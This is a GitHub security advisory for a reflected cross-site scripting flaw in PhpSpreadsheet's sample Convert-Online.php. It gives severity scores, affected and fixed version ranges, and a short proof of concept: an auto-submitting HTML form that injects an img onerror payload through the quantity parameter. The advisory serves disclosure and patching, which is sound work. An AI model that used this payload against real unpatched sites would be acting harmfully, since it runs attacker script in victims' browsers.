GHSA-x88g-h956-m5xg

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Source
https://github.com/advisories/GHSA-x88g-h956-m5xg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x88g-h956-m5xg
Aliases
Related
Published
2025-01-03T16:05:26Z
Modified
2025-01-03T19:29:14.107033Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N CVSS Calculator
  • 8.3 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L CVSS Calculator
Summary
PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
Details

Unauthorized Reflected XSS in Convert-Online.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.

fig4

Figure 4. The message with the quantity parameter is displayed without sanitization

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />

Figure 5. In the server's response , the quantity variable is displayed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
      <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" />
      <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="fromUnit" value="g" />
      <input type="hidden" name="toUnit" value="g" />
      <input type="hidden" name="submitx" value="Convert" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.

<img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />

Figure 6. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Database specific 
{
    "nvd_published_at": "2025-01-03T16:15:26Z",
    "cwe_ids": [
        "CWE-79"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-03T16:05:26Z"
}
References

Affected packages

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.0.0
Fixed
3.7.0

Affected versions

3.*

3.3.0
3.4.0
3.5.0
3.6.0

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.29.7

Affected versions

1.*

1.0.0-beta
1.0.0-beta2
1.0.0
1.1.0
1.2.0
1.2.1
1.3.0
1.3.1
1.4.0
1.4.1
1.5.0
1.5.1
1.5.2
1.6.0
1.7.0
1.8.0
1.8.1
1.8.2
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.13.0
1.14.0
1.14.1
1.15.0
1.16.0
1.17.0
1.17.1
1.18.0
1.19.0
1.20.0
1.21.0
1.22.0
1.23.0
1.24.0
1.24.1
1.25.0
1.25.1
1.25.2
1.26.0
1.27.0
1.27.1
1.28.0
1.29.0
1.29.1
1.29.2
1.29.4
1.29.5
1.29.6

Database specific 

{
    "last_known_affected_version_range": "<= 1.29.6"
}

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.1.6

Affected versions

2.*

2.0.0
2.1.0
2.1.1
2.1.3
2.1.4
2.1.5

Database specific 

{
    "last_known_affected_version_range": "<= 2.1.5"
}

Packagist / phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.3.5

Affected versions

2.*

2.2.0
2.2.1
2.2.2
2.3.0
2.3.2
2.3.3
2.3.4

Database specific 

{
    "last_known_affected_version_range": "<= 2.3.4"
}